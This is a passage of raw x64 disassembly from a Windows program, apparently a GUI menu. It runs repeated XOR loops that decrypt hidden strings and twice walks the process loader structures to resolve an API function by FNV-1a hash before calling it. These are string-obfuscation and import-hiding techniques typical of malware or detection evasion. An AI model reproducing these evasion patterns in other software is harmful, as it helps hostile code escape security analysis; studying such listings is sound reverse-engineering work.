mov dword [rax + 0xc4], 0x3f800000
mov dword [rax + 0xc8], 0x3f800000
mov dword [rax + 0xcc], 0x3f800000
mov dword [rax + 0xd0], 0x3f800000
mov dword [rax + 0x214], 0x3f800000
mov dword [rax + 0x218], 0x3f800000
mov qword [rax + 0x21c], 0x3f800000
mov dword [rax + 0x114], 0x3f800000
mov dword [rax + 0x118], 0x3f800000
mov qword [rax + 0x11c], 0x3f800000
movups xmm0, xmmword [0x140195300]
movups xmmword [rax + 0x224], xmm0
movups xmm0, xmmword [rax + 0xe4]
movups xmmword [rax + 0x234], xmm0
mov rcx, qword [rbp + 0x98]
call fcn.140025920
mov dword [rdi + 0x94], r12d
mov dword [rdi + 0x98], 0x3f000000
movaps xmm7, xmmword [0x14011b0d0]
mov dword [rbp + 0x2d0], 0x43480000
mov dword [rbp + 0x2d4], 0x42200000
movups xmm1, xmmword [0x140160378]
movups xmmword [rbp + 0x638], xmm1
movzx eax, word [0x140160388]
mov word [rbp + 0x648], ax
movzx eax, byte [0x14016038a]
mov byte [rbp + 0x64a], al
mov r8d, r12d
cmp r14d, 2
jl 0x14008dbd5
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x63c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14008dad0
cmp r8d, 0x13
jge 0x14008dc20
movsxd rax, r8d
lea r9, [rbp + 0x638]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14008dbf0
movdqa xmmword [rsp + 0x70], xmm7
movups xmm0, xmmword [0x140195300]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140195710]
mov qword [rsp + 0x28], rax
lea rax, [0x140195708]
mov qword [rsp + 0x20], rax
lea r9, [0x140195700]
xor r8d, r8d
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x638]
call fcn.14003f970
test al, al
je 0x14008dc9d
mov byte [reloc.WS2_32.dll_accept], 1
mov byte [0x1401966fa], 0
mov byte [0x1401966fb], 0
mov dword [rbp + 0x2d8], 0
mov dword [rbp + 0x2dc], 0x436b0000
lea rcx, [rbp + 0x2d8]
call fcn.140025b20
mov dword [rdi + 0x94], r12d
mov dword [rdi + 0x98], 0x3f000000
movaps xmm7, xmmword [0x1401632e0]
mov dword [rbp + 0x2e0], 0x43480000
mov dword [rbp + 0x2e4], 0x42200000
movups xmm0, xmmword [0x140160390]
movups xmmword [rbp + 0x758], xmm0
mov eax, dword [0x1401603a0]
mov dword [rbp + 0x768], eax
movzx eax, word [0x1401603a4]
mov word [rbp + 0x76c], ax
cmp byte [0x1401603a5], 0
je 0x14008deb0
mov r8d, r12d
cmp r14d, 2
jl 0x14008de65
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x75c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14008dd60
cmp r8d, 0x16
jge 0x14008deb0
movsxd rax, r8d
lea r9, [rbp + 0x758]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14008de80
movdqa xmmword [rsp + 0x70], xmm7
movups xmm0, xmmword [0x140195300]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140195728]
mov qword [rsp + 0x28], rax
lea rax, [0x140195720]
mov qword [rsp + 0x20], rax
lea r9, [0x140195718]
xor r8d, r8d
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x758]
call fcn.14003f970
test al, al
je 0x14008df2d
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401966fa], 1
mov byte [0x1401966fb], 0
mov qword [rbp + 0x2e8], 0
lea rcx, [rbp + 0x2e8]
call fcn.140025b20
mov rcx, qword [0x140196610]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rbx, qword [rcx + 0x1d18]
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movss xmm10, dword [0x14016314c]
movaps xmm3, xmm10
movaps xmm2, xmm11
movaps xmm0, xmm11
unpcklps xmm0, xmm10
movq rdx, xmm0
lea rcx, [rbp + 0x11a8]
call fcn.140009a40
movss xmm1, dword [rbp + 0x11ac]
addss xmm1, xmm7
movss xmm0, dword [rbp + 0x11a8]
addss xmm0, xmm6
movss dword [rbp + 0x1198], xmm6
movss dword [rbp + 0x119c], xmm7
movss dword [rbp + 0x11a0], xmm0
movss dword [rbp + 0x11a4], xmm1
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0x11a0]
lea rdx, [rbp + 0x1198]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f760
mov dword [rdi + 0xf4], 0x3f800000
mov dword [rdi + 0xf8], 0x3f800000
mov dword [rdi + 0xfc], 0x3f800000
mov dword [rdi + 0x100], 0x437f0000
mov dword [rdi + 0x114], 0x3f800000
mov dword [rdi + 0x118], 0x3f800000
mov qword [rdi + 0x11c], 0x3f800000
mov dword [rbp + 0x2f0], 0
mov dword [rbp + 0x2f4], 0x43660000
lea rcx, [rbp + 0x2f0]
call fcn.140025b20
mov dword [rbp + 0x2f8], 0
mov dword [rbp + 0x2fc], 0x43910000
lea rcx, [rbp + 0x2f8]
call fcn.140025b20
mov dword [rdi + 0x94], r12d
mov dword [rdi + 0x98], 0x3f000000
mov dword [rbp + 0x300], 0x425c0000
mov dword [rbp + 0x304], 0x43c80000
lea rcx, [rbp + 0x300]
call fcn.140025b20
mov dword [rdi + 0x224], 0x3d5d2f1b
mov dword [rdi + 0x228], 0x3d5d2f1b
mov dword [rdi + 0x22c], 0x3d5d2f1b
mov dword [rdi + 0x230], 0x437f0000
mov dword [rdi + 0xf4], 0x3d5d2f1b
mov dword [rdi + 0xf8], 0x3d5d2f1b
mov dword [rdi + 0xfc], 0x3d5d2f1b
mov dword [rdi + 0x100], 0x43280000
mov dword [rdi + 0x114], 0x3da7ef9e
mov dword [rdi + 0x118], 0x3d9fbe77
mov qword [rdi + 0x11c], 0x3d9fbe77
movaps xmm0, xmmword [0x14011b0e0]
movups xmmword [rbp + 0xc50], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0xc40], xmm1
mov dword [rbp + 0x308], 0x3f800000
mov dword [rbp + 0x30c], 0x3f800000
mov qword [rbp + 0x310], 0
mov dword [rbp + 0x318], 0x42140000
mov dword [rbp + 0x31c], 0x41e00000
lea rax, [rbp + 0xc50]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xc40]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9, [rbp + 0x308]
lea r8, [rbp + 0x310]
lea rdx, [rbp + 0x318]
mov rcx, rsi
call fcn.1400473c0
test al, al
je 0x14008e439
movups xmm0, xmmword [0x1401603a8]
movups xmmword [rbp + 0x9f8], xmm0
movups xmm1, xmmword [0x1401603b8]
movups xmmword [rbp + 0xa08], xmm1
mov eax, dword [0x1401603c8]
mov dword [rbp + 0xa18], eax
mov r8d, r12d
cmp r14d, 2
jl 0x14008e335
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x9fc]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14008e230
cmp r8d, 0x24
jge 0x14008e380
movsxd rax, r8d
lea r9, [rbp + 0x9f8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14008e350
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14008e414
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14008e414
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14008e40f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14008e3f0
cmp edx, 0x491e0a9c
je 0x14008e419
test r9d, r9d
jne 0x14008e3d0
mov rax, qword [rax]
jmp 0x14008e3a0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0x9f8]
call rax
mov dword [rbp + 0x320], 0x41200000
mov dword [rbp + 0x324], 0x43d70000
lea rcx, [rbp + 0x320]
call fcn.140025b20
mov rcx, r15
call fcn.140025920
movaps xmm7, xmmword [0x140163290]
mov dword [rbp + 0x328], 0x42f40000
mov dword [rbp + 0x32c], 0x41e00000
movups xmm0, xmmword [str.TXAP_GR]
movups xmmword [rbp + 0x740], xmm0
mov eax, dword [0x1401603e0]
mov dword [rbp + 0x750], eax
movzx eax, word [0x1401603e4]
mov word [rbp + 0x754], ax
cmp byte [0x1401603e5], 0
je 0x14008e640
mov r8d, r12d
cmp r14d, 2
jl 0x14008e5f5
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x744]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14008e4f0
cmp r8d, 0x16
jge 0x14008e640
movsxd rax, r8d
lea r9, [rbp + 0x740]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14008e610
movdqa xmmword [rsp + 0x70], xmm7
movups xmm0, xmmword [0x140195300]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x140195740]
mov qword [rsp + 0x28], rax
lea rax, [0x140195738]
mov qword [rsp + 0x20], rax
lea r9, [0x140195730]
xor r8d, r8d
lea rdx, [rbp + 0x328]
lea rcx, [rbp + 0x740]
call fcn.14003fe10
test al, al
je 0x14008e919
movups xmm0, xmmword [0x1401603e8]
movups xmmword [rbp + 0xa20], xmm0
movups xmm1, xmmword [0x1401603f8]
movups xmmword [rbp + 0xa30], xmm1
mov eax, dword [0x140160408]
mov dword [rbp + 0xa40], eax
mov r8d, r12d
cmp r14d, 2
jl 0x14008e815
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xa24]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14008e710
cmp r8d, 0x24
jge 0x14008e860
movsxd rax, r8d
lea r9, [rbp + 0xa20]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14008e830
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14008e8f4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14008e8f4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14008e8ef
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x14008e8d0
cmp edx, 0x491e0a9c
je 0x14008e8f9
test r9d, r9d
jne 0x14008e8b0
mov rax, qword [rax]
jmp 0x14008e880
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0xa20]
call rax
call fcn.1400159f0
mov qword [rbp + 0x330], 0x43160000
lea rcx, [rbp + 0x330]
call fcn.140025b20
movss xmm8, dword [0x140163148]
movss xmm9, dword [0x14011afc4]
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140090e4a
mov qword [rbp + 0x338], 0x43160000
lea rcx, [rbp + 0x338]
call fcn.140025b20
mov r15, qword [rbp + 0x98]
mov rcx, r15
call fcn.140025920
call fcn.1400195e0
mov rdi, rax
mov qword [rax + 0xf4], r12
mov dword [rax + 0xfc], r12d
mov dword [rax + 0x100], 0x3f000000
mov dword [rax + 0x94], 0x3f000000
mov dword [rax + 0x98], 0x3f000000
xorps xmm0, xmm0
movups xmmword [rbp + 0x1218], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1228], xmm1
xor r8d, r8d
lea rdx, [0x140114ae4]
lea rcx, [rbp + 0x1218]
call fcn.140056330
nop
mov dword [rbp + 0x340], 0x44138000
mov dword [rbp + 0x344], 0x43e60000
movsd xmm0, qword [0x140160410]
movsd qword [rbp - 0x50], xmm0
movzx eax, word [0x140160418]
mov word [rbp - 0x48], ax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x14008ea37
mov byte [rbp - 0x50], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x4f], 0x31
xor byte [rbp - 0x4e], 0x32
xor byte [rbp - 0x4d], 0x33
xor byte [rbp - 0x4c], 0x34
xor byte [rbp - 0x4b], 0x35
xor byte [rbp - 0x4a], 0x36
xor byte [rbp - 0x49], 0x37
xor byte [rbp - 0x48], 0x38
xor byte [rbp - 0x47], 0x39
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x340]
lea rcx, [rbp - 0x50]
call fcn.140007ee0
mov dword [rbp + 0x348], 0x42480000
mov dword [rbp + 0x34c], 0x42480000
lea rcx, [rbp + 0x348]
call fcn.140025b20
mov rcx, qword [0x140196610]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rbx, qword [rcx + 0x1d18]
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movss xmm1, dword [0x140163144]
movaps xmm3, xmm1
movaps xmm2, xmm8
movaps xmm0, xmm8
unpcklps xmm0, xmm1
movq rdx, xmm0
lea rcx, [rbp + 0x1170]
call fcn.140009a40
movss xmm1, dword [rbp + 0x1174]
addss xmm1, xmm7
movss xmm0, dword [rbp + 0x1170]
addss xmm0, xmm6
movss dword [rbp + 0x1188], xmm6
movss dword [rbp + 0x118c], xmm7
movss dword [rbp + 0x1190], xmm0
movss dword [rbp + 0x1194], xmm1
mov dword [rsp + 0x30], 0xff0b0b0b
mov dword [rsp + 0x28], 0xff0b0b0b
mov dword [rsp + 0x20], 0xff0b0b0b
mov r9d, 0xff0b0b0b
lea r8, [rbp + 0x1190]
lea rdx, [rbp + 0x1188]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f760
mov dword [rdi + 0xd4], 0x3f800000
mov dword [rdi + 0xd8], 0x3f800000
mov dword [rdi + 0xdc], 0x3f800000
mov dword [rdi + 0xe0], 0x3f800000
mov dword [rbp + 0x350], 0x42700000
mov dword [rbp + 0x354], 0x42700000
lea rcx, [rbp + 0x350]
call fcn.140025b20
mov rcx, qword [rbp + 0x358]
call fcn.140025920
movups xmm0, xmmword [0x140160420]
movups xmmword [rbp + 0x788], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14008ed20
cmp r14d, 2
jl 0x14008ece1
movdqa xmm5, xmmword [0x1401202d0]
mov edx, r12d
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x78c]
mov r8d, dword [rsp + 0x50]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14008ebe2
jmp 0x14008ed20
lea r9, [rbp + 0x788]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14008ecf0
lea rcx, [rbp + 0x788]
call fcn.14004f330
mov dword [rbp + 0x360], 0x43820000
mov dword [rbp + 0x364], 0x425c0000
lea rcx, [rbp + 0x360]
call fcn.140025b20
movaps xmm6, xmmword [0x1401632d0]
movaps xmm7, xmmword [0x1401632c0]
mov dword [rbp + 0x368], 0x43020000
mov dword [rbp + 0x36c], 0x42480000
mov rax, qword [0x140160430]
mov qword [rbp + 0xd0], rax
cmp byte [0x140160437], 0
je 0x14008eee0
cmp r14d, 2
jl 0x14008ee97
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
